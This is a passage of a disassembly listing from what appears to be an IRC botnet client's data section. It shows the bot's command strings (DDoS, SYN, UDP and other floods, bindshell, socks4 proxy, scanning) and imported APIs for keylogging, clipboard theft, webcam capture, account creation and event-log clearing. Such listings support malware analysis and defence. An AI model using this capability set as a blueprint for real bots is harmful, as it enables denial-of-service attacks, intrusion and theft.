sub_401ACD+15A6o ; char aCbstats[] aCbstats db 'cbstats',0 ; DATA XREF: sub_401ACD+1591o ; char aConnectbacksta[] aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401ACD+157Co align 4 ; char aTrstats[] aTrstats db 'trstats',0 ; DATA XREF: sub_401ACD+1567o ; char aTransferstats[] aTransferstats db 'transferstats',0 ; DATA XREF: sub_401ACD+1552o align 4 ; char aStats[] aStats db 'stats',0 ; DATA XREF: sub_401ACD+153Do align 4 ; char aScanstats[] aScanstats db 'scanstats',0 ; DATA XREF: sub_401ACD+1528o align 4 dword_42CA68 dd 234032Dh, 6E616373h, 2D0302h ; DATA XREF: sub_401ACD+151Do aScan db 'Scan',0 ; DATA XREF: sub_401ACD+1518o align 4 ; char aScanstop[] aScanstop db 'scanstop',0 ; DATA XREF: sub_401ACD+14FFo align 4 dword_42CA88 dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_401ACD+14F4o aSecure_0 db 'Secure',0 ; DATA XREF: sub_401ACD+14EFo align 10h ; char aSecurestop[] aSecurestop db 'securestop',0 ; DATA XREF: sub_401ACD+14D6o align 4 dword_42CAAC dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_401ACD+14CBo aClone db 'Clone',0 ; DATA XREF: sub_401ACD+14C6o align 4 ; char aClonestop[] aClonestop db 'clonestop',0 ; DATA XREF: sub_401ACD+14ADo align 10h ; char aPsstop[] aPsstop db 'psstop',0 ; DATA XREF: sub_401ACD+1498o align 4 ; char aProcsstop[] aProcsstop db 'procsstop',0 ; DATA XREF: sub_401ACD+1483o align 4 ; char aFfstop[] aFfstop db 'ffstop',0 ; DATA XREF: sub_401ACD+146Eo align 4 ; char aFindfilestop[] aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401ACD+1459o align 4 dword_42CAFC dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_401ACD+144Eo ; char aTftpstop[] aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401ACD+1430o align 4 ; char aPingstop[] aPingstop db 'pingstop',0 ; DATA XREF: sub_401ACD+1407o align 4 ; char aUdpstop[] aUdpstop db 'udpstop',0 ; DATA XREF: sub_401ACD+13DEo ; char aWisdomstop[] aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401ACD+13B5o align 4 ; char aTsunamistop[] aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401ACD+138Co unk_42CB44 db 2Dh ; - ; DATA XREF: sub_401ACD+1372o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aAllPacketingAc db 'All packeting activity has been halted.',0 dword_42CB78 dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401ACD+1337o ; sub_401ACD+13D3o aWisdomAttack db 'Wisdom attack',0 ; DATA XREF: sub_401ACD+1332o ; sub_401ACD+13CEo align 4 dword_42CB98 dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401ACD+1319o ; sub_401ACD+13AAo aTsunamiFlood db 'Tsunami flood',0 ; DATA XREF: sub_401ACD+1314o ; sub_401ACD+13A5o align 4 dword_42CBB8 dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401ACD+12B9o ; sub_401ACD+1425o aPingFlood db 'Ping flood',0 ; DATA XREF: sub_401ACD+12B4o ; sub_401ACD+1420o align 10h dword_42CBD0 dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+129Bo ; sub_401ACD+13FCo aUdpFlood db 'UDP flood',0 ; DATA XREF: sub_401ACD+1296o ; sub_401ACD+13F7o align 4 ; char aPacketstop[] aPacketstop db 'packetstop',0 ; DATA XREF: sub_401ACD+1236o align 4 dword_42CBF4 dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401ACD+122Bo ; sub_401ACD+12F8o aWonkFlood db 'Wonk flood',0 ; DATA XREF: sub_401ACD+1226o ; sub_401ACD+12F3o align 4 ; char aWonkstop[] aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401ACD+120Do align 4 dword_42CC18 dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401ACD+1202o ; sub_401ACD+12DAo aTarga3Flood db 'Targa3 flood',0 ; DATA XREF: sub_401ACD+11FDo ; sub_401ACD+12D5o align 4 ; char aTarga3stop[] aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401ACD+11E4o align 4 dword_42CC44 dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401ACD+11D9o ; sub_401ACD+1358o aSkysynFlood db 'SkySyn flood',0 ; DATA XREF: sub_401ACD+11D4o ; sub_401ACD+1353o align 4 ; char aSkysynstop[] aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401ACD+11BBo align 10h dword_42CC70 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+11B0o ; sub_401ACD+127Ao aSynFlood db 'Syn flood',0 ; DATA XREF: sub_401ACD+11ABo ; sub_401ACD+1275o align 4 ; char aSynstop[] aSynstop db 'synstop',0 ; DATA XREF: sub_401ACD+1192o dword_42CC90 dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401ACD+1187o ; sub_401ACD+125Co aDdosFlood db 'DDoS flood',0 ; DATA XREF: sub_401ACD+1182o ; sub_401ACD+1257o align 4 ; char aDdos_stop[] aDdos_stop db 'ddos.stop',0 ; DATA XREF: sub_401ACD+1169o align 4 dword_42CCB4 dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_401ACD+115Eo aTcpRedirect db 'TCP redirect',0 ; DATA XREF: sub_401ACD+1159o align 4 ; char aRedirectstop[] aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401ACD+1140o align 4 dword_42CCE4 dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1135o aLogList db 'Log list',0 ; DATA XREF: sub_401ACD+1130o align 4 ; char aLogstop[] aLogstop db 'logstop',0 ; DATA XREF: sub_401ACD+1117o dword_42CD04 dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_401ACD+110Co ; char aHttpstop[] aHttpstop db 'httpstop',0 ; DATA XREF: sub_401ACD+10EEo align 10h dword_42CD20 dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_401ACD+10E3o ; char aRloginstop[] aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401ACD+10C5o align 4 dword_42CD3C dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_401ACD+10BDo ; char aSocks4stop[] aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401ACD+109Fo align 4 ; char aS4[] aS4 db 's4',0 ; DATA XREF: sub_401ACD+108Ao align 4 ; char aSocks4[] aSocks4 db 'socks4',0 ; DATA XREF: sub_401ACD+1075o align 4 dword_42CD64 dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0 ; DATA XREF: sub_401ACD+1053o aServer_0 db 'Server',0 ; DATA XREF: sub_401ACD+104Eo ; sub_401ACD+10B8o ... align 10h ; char aBindshellstop[] aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401ACD+1035o align 10h ; char aBd[] aBd db 'bd',0 ; DATA XREF: sub_401ACD+1020o align 4 ; char aBindshell[] aBindshell db 'bindshell',0 ; DATA XREF: sub_401ACD+100Bo align 10h ; char aUnsec[] aUnsec db 'unsec',0 ; DATA XREF: sub_401ACD+FF6o align 4 ; char aUnsecure[] aUnsecure db 'unsecure',0 ; DATA XREF: sub_401ACD+FE1o align 4 ; char aSec[] aSec db 'sec',0 ; DATA XREF: sub_401ACD+FCCo ; sub_401ACD+2D6Ao ; char aSecure[] aSecure db 'secure',0 ; DATA XREF: sub_401ACD+FB7o ; sub_401ACD+2D59o align 10h ; char aSt[] aSt db 'st',0 ; DATA XREF: sub_401ACD+FA2o align 4 ; char aSpeedtest[] aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401ACD+F8Do align 10h ; char aDed[] aDed db 'ded',0 ; DATA XREF: sub_401ACD+F78o ; char aDedication[] aDedication db 'dedication',0 ; DATA XREF: sub_401ACD+F63o align 10h ; char aVer[] aVer db 'ver',0 ; DATA XREF: sub_401ACD+F4Eo ; char aVersion[] aVersion db 'version',0 ; DATA XREF: sub_401ACD+F39o ; char aLo[] aLo db 'lo',0 ; DATA XREF: sub_401ACD+F24o align 10h ; char aLogout[] aLogout db 'logout',0 ; DATA XREF: sub_401ACD+F0Fo align 4 ; char aD_0[] aD_0: ; DATA XREF: sub_401ACD+EFAo ; .data:00438314o ... unicode 0, <d>,0 ; char aDie[] aDie db 'die',0 ; DATA XREF: sub_401ACD+EE5o ; char aRn[] aRn db 'rn',0 ; DATA XREF: sub_401ACD+ED0o align 4 ; char aRndnick_0[] aRndnick_0 db 'rndnick',0 ; DATA XREF: sub_401ACD+EB8o ; char a63[] a63 db '63',0 ; DATA XREF: sub_401ACD+D85o align 10h ; char asc_42CE10[] asc_42CE10: ; DATA XREF: sub_401ACD+D5Do unicode 0, <)>,0 ; char aChr[] aChr db '$chr(',0 ; DATA XREF: sub_401ACD+D20o align 4 ; char aServer[] aServer db '$server',0 ; DATA XREF: sub_401ACD+D15o ; char aRndnick[] aRndnick db '$rndnick',0 ; DATA XREF: sub_401ACD+D04o align 10h ; char aChan[] aChan db '$chan',0 ; DATA XREF: sub_401ACD+CE8o align 4 ; char aUser[] aUser db '$user',0 ; DATA XREF: sub_401ACD+CD7o align 10h ; char aMe[] aMe db '$me',0 ; DATA XREF: sub_401ACD+CC5o ; char aD_1[] aD_1 db '$%d',0 ; DATA XREF: sub_401ACD+C57o ; char aD[] aD db '$%d-',0 ; DATA XREF: sub_401ACD+B93o align 10h ; char asc_42CE50[] asc_42CE50: ; DATA XREF: sub_401ACD+ABBo ; .data:0043832Co ... unicode 0, <l>,0 unk_42CE54 db 2Dh ; - ; DATA XREF: sub_401ACD+A80o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0 align 4 unk_42CE88 db 2Dh ; - ; DATA XREF: sub_401ACD+A6Fo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatAlreadyAct db '- Chat already active with user: %s.',0 align 4 unk_42CEB8 db 2Dh ; - ; DATA XREF: sub_401ACD+A5Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_31 db '- Failed to start chat thread, error: <%d>.',0 align 10h ; char asc_42CEF0[] asc_42CEF0 db '-' ; DATA XREF: sub_401ACD+9EFo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFromUserS_ db '- Chat from user: %s.',0 align 10h ; char aChat[] aChat db 'CHAT',0 ; DATA XREF: sub_401ACD+958o align 4 ; char asc_42CF18[] asc_42CF18 db '-' ; DATA XREF: sub_401ACD+938o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 align 4 unk_42CF5C db 2Dh ; - ; DATA XREF: sub_401ACD+920o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_32 db '- Failed to start transfer thread, error: <%d>.',0 align 4 dword_42CF98 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_401ACD+90Fo dd 0A0Dh ; char dword_42CFB0 dword_42CFB0 dd 4E495001h, 47h ; DATA XREF: sub_401ACD+8DBo dword_42CFB8 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_401ACD+8D0o dd 0D017325h, 0Ah ; char dword_42CFD4 dword_42CFD4 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_401ACD+89Fo ; char asc_42CFE0[] asc_42CFE0 db '#',0 ; DATA XREF: sub_401ACD+816o ; sub_40CA80+1Bo align 4 ; char asc_42CFE4[] asc_42CFE4 db '-' ; DATA XREF: sub_401ACD+785o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0 align 4 ; char aS_6[] aS_6 db '%s',0 ; DATA XREF: sub_401ACD+706o ; sub_401ACD+995o ... align 4 ; char aSend[] aSend db 'SEND',0 ; DATA XREF: sub_401ACD+6DFo align 10h ; char dword_42D020 dword_42D020 dd 43434401h, 0 ; DATA XREF: sub_401ACD+6C1o ; char a332[] a332 db '332',0 ; DATA XREF: sub_401ACD+64Bo ; sub_401ACD+ADDo ... ; char aNotice[] aNotice db 'NOTICE',0 ; DATA XREF: sub_401ACD+629o ; sub_409A73+Fo align 4 ; char aPrivmsg[] aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401ACD+61Do ; sub_409A73+16o ; char asc_42D03C[] asc_42D03C db '-' ; DATA XREF: sub_401ACD+5CCo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedOut db 'User: %s logged out.',0 align 10h ; char asc_42D060[] asc_42D060 db '-' ; DATA XREF: sub_401ACD+5A5o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChanne_0 db 'Joined channel: %s.',0 ; char a353[] a353 db '353',0 ; DATA XREF: sub_401ACD+574o ; char aQuit[] aQuit db 'QUIT',0 ; DATA XREF: sub_401ACD+537o ; sub_40E992+5DEo align 4 ; char aPart[] aPart db 'PART',0 ; DATA XREF: sub_401ACD+526o ; sub_401ACD+5E9o align 4 ; char aSS_1[] aSS_1 db ':%s%s',0 ; DATA XREF: sub_401ACD+4FEo align 4 ; char aNick[] aNick db 'NICK',0 ; DATA XREF: sub_401ACD+3D0o align 4 ; char aNoticeSS[] aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o ; sub_401ACD+60Do ; char asc_42D0B4[] asc_42D0B4 db '-' ; DATA XREF: sub_401ACD+355o ; sub_401ACD+2EBDo ... db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedO_0 db 'User %s logged out.',0 ; char aKick[] aKick db 'KICK',0 ; DATA XREF: sub_401ACD+2E4o align 4 ; char aNickS[] aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+28Do ; sub_401ACD+7C8Fo ... align 4 ; char a433[] a433 db '433',0 ; DATA XREF: sub_401ACD+262o ; sub_4177D0:loc_417838o ; char a[] a@: ; DATA XREF: sub_401ACD+23Ao unicode 0, <@>,0 ; char a302_0[] a302_0 db '302',0 ; DATA XREF: sub_401ACD+22Ao ; char a005[] a005 db '005',0 ; DATA XREF: sub_401ACD+215o ; char a001[] a001 db '001',0 ; DATA XREF: sub_401ACD+200o ; char aJoinSS[] aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o ; sub_401ACD+3B7o ... align 4 ; char aPongS[] aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C3o align 4 ; char aPing[] aPing db 'PING',0 ; DATA XREF: sub_401ACD+1A9o ; sub_4177D0+50o align 10h ; char Delim[] Delim: ; DATA XREF: sub_401ACD+19Ao ; sub_401ACD+7DAEo unicode 0, <!>,0 ; char asc_42D124[] asc_42D124: ; DATA XREF: sub_401ACD+A8o ; sub_401ACD+E5Do ... unicode 0, < >,0 ; char SubStr[] SubStr db ' :',0 ; DATA XREF: sub_401ACD+86o ; sub_401ACD:loc_402602o align 4 ; char aSSS_1[] aSSS_1 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409A73+5Do aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409B13+C7Fo align 4 aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409B13+C77o aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_409B13:loc_40A77Do align 4 aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_409B13+C15o align 4 aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_409B13+C08o align 4 aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_409B13+BFBo align 4 aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_409B13+BEEo align 4 aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_409B13+BE1o align 4 aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_409B13+BD9o align 10h aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_409B13:loc_40A6DFo align 4 aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_409B13+B97o align 4 aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_409B13+B8Fo align 4 aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_409B13:loc_40A695o aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409B13+B3Do align 10h aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409B13+B30o align 4 aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_409B13+B23o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_409B13+B1Bo aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_409B13:loc_40A621o aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409B13+AD9o align 4 aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_409B13+AD1o align 4 aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_409B13:loc_40A5D7o align 4 aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409B13+A8Fo align 4 aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409B13+A87o align 4 aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_409B13:loc_40A58Do align 10h aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_409B13+9F9o aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_409B13+9ECo ; sub_4185A5+65o align 4 aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_409B13+9DFo align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_409B13+9D2o aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_409B13+9C5o align 10h aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_409B13+9B8o align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_409B13+9ABo align 4 aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_409B13+99Eo align 10h aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409B13+991o align 4 aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_409B13+984o align 4 aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_409B13+977o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_409B13+96Fo aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409B13:loc_40A471o ; sub_4185A5+58o align 4 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409B13+921o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409B13+914o aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409B13+90Co align 4 aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_409B13:loc_40A412o align 4 aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409B13+8D2o align 4 aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_409B13+860o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_409B13+853o align 4 aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_409B13+846o align 10h aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_409B13+839o align 4 aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_409B13+82Co align 4 aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_409B13+81Fo align 4 aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_409B13+812o align 4 aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_409B13+805o align 10h aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409B13+7F8o aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_409B13+7F0o align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_409B13:loc_40A2F2o aClosesocket db 'closesocket',0 ; DATA XREF: sub_409B13+6A6o aGetpeername db 'getpeername',0 ; DATA XREF: sub_409B13+699o aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_409B13+68Co align 4 aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_409B13+67Fo align 4 aGethostname db 'gethostname',0 ; DATA XREF: sub_409B13+672o aGetsockname db 'getsockname',0 ; DATA XREF: sub_409B13+665o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_409B13+658o align 10h aAccept db 'accept',0 ; DATA XREF: sub_409B13+64Bo align 4 aListen db 'listen',0 ; DATA XREF: sub_409B13+63Eo align 10h aSelect db 'select',0 ; DATA XREF: sub_409B13+631o align 4 aBind db 'bind',0 ; DATA XREF: sub_409B13+629o align 10h aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_409B13+617o align 4 aRecv db 'recv',0 ; DATA XREF: sub_409B13+60Ao align 4 aSendto db 'sendto',0 ; DATA XREF: sub_409B13+5FDo align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_409B13+5E3o align 4 aNtohs db 'ntohs',0 ; DATA XREF: sub_409B13+5D6o align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_409B13+5C9o align 4 aHtons db 'htons',0 ; DATA XREF: sub_409B13+5BCo align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_409B13+5AFo align 4 aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_409B13+5A2o align 4 aConnect db 'connect',0 ; DATA XREF: sub_409B13+595o aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_409B13+588o aSocket db 'socket',0 ; DATA XREF: sub_409B13+57Bo align 10h aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_409B13+56Eo align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_409B13+561o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_409B13+554o align 4 a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_409B13+547o align 4 aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_409B13+53Ao align 4 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_409B13+52Do align 4 aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_409B13+525o align 10h aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_409B13+514o align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_409B13+4A1o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_409B13+494o align 4 aBitblt db 'BitBlt',0 ; DATA XREF: sub_409B13+487o align 10h aSelectobject db 'SelectObject',0 ; DATA XREF: sub_409B13+47Ao align 10h aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_409B13+46Do align 4 aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_409B13+460o align 4 aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_409B13+453o align 4 aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_409B13+446o align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_409B13+43Eo align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_409B13:loc_409F40o align 4 aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_409B13:loc_409F18o align 4 aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409B13+3ADo align 10h aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_409B13+3A0o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_409B13+393o align 4 aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_409B13+386o align 4 aControlservice db 'ControlService',0 ; DATA XREF: sub_409B13+379o align 4 aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_409B13+36Co align 4 aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_409B13+35Fo align 4 aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_409B13:loc_409E6Ao align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409B13+327o align 10h aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409B13+31Ao align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_409B13:loc_409E25o align 4 aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_409B13+2C6o align 4 aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_409B13+2B9o align 4 aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_409B13+2ACo aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_409B13+29Fo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_409B13+292o align 4 aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_409B13+285o align 4 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_409B13+278o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_409B13+270o align 4 aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_409B13:loc_409D72o align 4 aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_409B13+21Ao aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_409B13+20Do align 10h aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_409B13+200o aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_409B13:loc_409D0Bo align 10h aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_409B13+1A0o align 10h aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_409B13+193o align 10h aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_409B13+186o align 4 aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_409B13+179o align 4 aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_409B13+16Co align 4 aIswindow db 'IsWindow',0 ; DATA XREF: sub_409B13+15Fo align 10h aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_409B13+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_409B13+14Ao align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_409B13:loc_409C48o ; ___crtMessageBoxA+Do align 4 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_409B13:loc_409C1Bo align 10h aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409B13+A0o align 4 aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409B13+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_409B13+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_409B13+79o align 10h aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409B13+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409B13+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_409B13+52o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_409B13+45o align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_409B13+38o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409B13+2Bo align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_409B13+23o align 4 aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_409B13+Ao align 4 ; char asc_42DA28[] asc_42DA28 db '-' ; DATA XREF: sub_40A7CF+2F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aDllTestComplet db 'DLL test complete.',0 align 4 ; char aAvicap32_dllFa[] aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+2CCo align 4 ; char aOdbc32_dllFail[] aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+298o ; char aShell32_dllFai[] aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+264o align 4 ; char aMpr32_dllFaile[] aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+230o align 10h ; char aIphlpapi_dllFa[] aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+1FCo align 4 ; char aDnsapi_dllFail[] aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+1C8o ; char aNetapi32_dllFa[] aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+194o align 10h ; char aIcmp_dllFailed[] aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+160o align 4 ; char aWininet_dllFai[] aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; 